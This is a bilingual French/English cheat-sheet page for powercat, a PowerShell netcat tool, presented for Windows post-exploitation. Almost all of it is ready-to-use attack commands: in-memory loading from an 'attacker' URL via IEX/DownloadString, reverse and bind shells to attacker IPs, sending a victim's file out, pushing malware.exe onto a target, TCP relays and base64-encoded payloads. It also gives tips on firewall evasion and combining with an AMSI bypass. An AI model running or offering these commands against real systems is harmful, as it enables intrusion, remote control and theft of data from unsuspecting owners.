powercat

Implémentation PowerShell de netcat. Crée des reverse shells, bind shells, transferts de fichiers et relais TCP en PowerShell pur, utile pour la post-exploitation Windows sans déposer d'exécutables. PowerShell implementation of netcat. Creates reverse shells, bind shells, file transfers, and TCP relays using pure PowerShell — useful for Windows post-exploitation without dropping executables.

↗ https://github.com/besimorhino/powercat

Overview

powercat is a PowerShell implementation of netcat. It enables reverse shells, bind shells, port forwarding, and file transfers using PowerShell — all in-memory without dropping files. Essential for Windows post-exploitation when you can execute PowerShell but can’t upload binaries.

Basic Usage

# Load powercat (target machine)
IEX (New-Object System.Net.Webclient).DownloadString('http://attacker/powercat.ps1')

# Or load from file
. .\powercat.ps1

# Connect back to attacker (reverse shell)
powercat -c ATTACKER_IP -p 4444 -e cmd

# Listen for incoming connections (bind shell)
powercat -l -p 4444 -e cmd

Reverse Shell

# Target: send reverse shell to attacker
. .\powercat.ps1
powercat -c 10.10.14.1 -p 4444 -e cmd.exe

# PowerShell reverse shell
powercat -c 10.10.14.1 -p 4444 -e powershell.exe

# Attacker: listen
nc -lvnp 4444

Bind Shell

# Target: open listening shell
powercat -l -p 4444 -e cmd.exe

# Attacker: connect
nc 10.10.10.1 4444

File Transfer

# Send a file to attacker
powercat -c 10.10.14.1 -p 9000 -i C:\Users\user\important.txt

# Attacker receives
nc -lvnp 9000 > received_file.txt

# Receive a file on target
powercat -l -p 9001 -of C:\Temp\received.exe
# Attacker sends:
nc 10.10.10.1 9001 < malware.exe

Port Forwarding / Relay

# Relay: forward connections from port 8080 to internal:80
powercat -l -p 8080 -r tcp:10.0.0.5:80

# Create a TCP relay between two hosts
powercat -l -p 9999 -r tcp:TARGET:PORT

Encoded Payload

# Generate encoded one-liner (for command injection / limited shell)
powercat -c 10.10.14.1 -p 4444 -e cmd -ge

# Outputs base64-encoded payload:
# powershell -E BASE64STRING

# Or generate to file
powercat -c 10.10.14.1 -p 4444 -e cmd -g > payload.ps1

Tips

  • Load with IEX (IWR 'http://attacker/powercat.ps1') for in-memory execution
  • -e cmd for CMD shell, -e powershell for PowerShell shell
  • Use UDP mode with -u for unusual firewall bypasses
  • Encode payloads with -ge for environments with command length limits
  • Combine with AMSI bypass if PowerShell is monitored
Help / Man page
powercat [options]

-l          Listen mode
-c HOST     Connect to host (client mode)
-p PORT     Port number
-e PROG     Execute program on connection (cmd, powershell)
-ep         Execute PowerShell
-r RELAY    Relay (tcp:host:port)
-i FILE     Input file (send file)
-o FILE     Output file (receive file)
-of FILE    Output file (receive)
-u          UDP mode
-v          Verbose
-g          Generate payload (script)
-ge         Generate encoded payload
-t TIMEOUT  Timeout in seconds

Vue d’ensemble

powercat est une implémentation de netcat en PowerShell. Il permet des reverse shells, des bind shells, de la redirection de ports et des transferts de fichiers en PowerShell, le tout en mémoire sans déposer de fichiers. Essentiel pour la post-exploitation Windows lorsque vous pouvez exécuter PowerShell mais pas uploader de binaires.

Utilisation de base

# Charger powercat (machine cible)
IEX (New-Object System.Net.Webclient).DownloadString('http://attacker/powercat.ps1')

# Ou charger depuis un fichier
. .\powercat.ps1

# Se connecter à l'attaquant (reverse shell)
powercat -c ATTACKER_IP -p 4444 -e cmd

# Écouter les connexions entrantes (bind shell)
powercat -l -p 4444 -e cmd

Reverse Shell

# Cible : envoyer un reverse shell à l'attaquant
. .\powercat.ps1
powercat -c 10.10.14.1 -p 4444 -e cmd.exe

# Reverse shell PowerShell
powercat -c 10.10.14.1 -p 4444 -e powershell.exe

# Attaquant : écouter
nc -lvnp 4444

Bind Shell

# Cible : ouvrir un shell en écoute
powercat -l -p 4444 -e cmd.exe

# Attaquant : se connecter
nc 10.10.10.1 4444

Transfert de fichiers

# Envoyer un fichier à l'attaquant
powercat -c 10.10.14.1 -p 9000 -i C:\Users\user\important.txt

# L'attaquant reçoit
nc -lvnp 9000 > received_file.txt

# Recevoir un fichier sur la cible
powercat -l -p 9001 -of C:\Temp\received.exe
# L'attaquant envoie :
nc 10.10.10.1 9001 < malware.exe

Redirection de ports / relais

# Relais : rediriger les connexions du port 8080 vers internal:80
powercat -l -p 8080 -r tcp:10.0.0.5:80

# Créer un relais TCP entre deux hôtes
powercat -l -p 9999 -r tcp:TARGET:PORT

Payload encodé

# Générer un one-liner encodé (pour injection de commande / shell limité)
powercat -c 10.10.14.1 -p 4444 -e cmd -ge

# Génère un payload encodé en base64 :
# powershell -E BASE64STRING

# Ou générer vers un fichier
powercat -c 10.10.14.1 -p 4444 -e cmd -g > payload.ps1

Conseils

  • Chargez avec IEX (IWR 'http://attacker/powercat.ps1') pour une exécution en mémoire
  • -e cmd pour un shell CMD, -e powershell pour un shell PowerShell
  • Utilisez le mode UDP avec -u pour des contournements de pare-feu inhabituels
  • Encodez les payloads avec -ge pour les environnements avec des limites de longueur de commande
  • Combinez avec un contournement AMSI si PowerShell est surveillé
Aide / Page de manuel
powercat [options]

-l          Listen mode
-c HOST     Connect to host (client mode)
-p PORT     Port number
-e PROG     Execute program on connection (cmd, powershell)
-ep         Execute PowerShell
-r RELAY    Relay (tcp:host:port)
-i FILE     Input file (send file)
-o FILE     Output file (receive file)
-of FILE    Output file (receive)
-u          UDP mode
-v          Verbose
-g          Generate payload (script)
-ge         Generate encoded payload
-t TIMEOUT  Timeout in seconds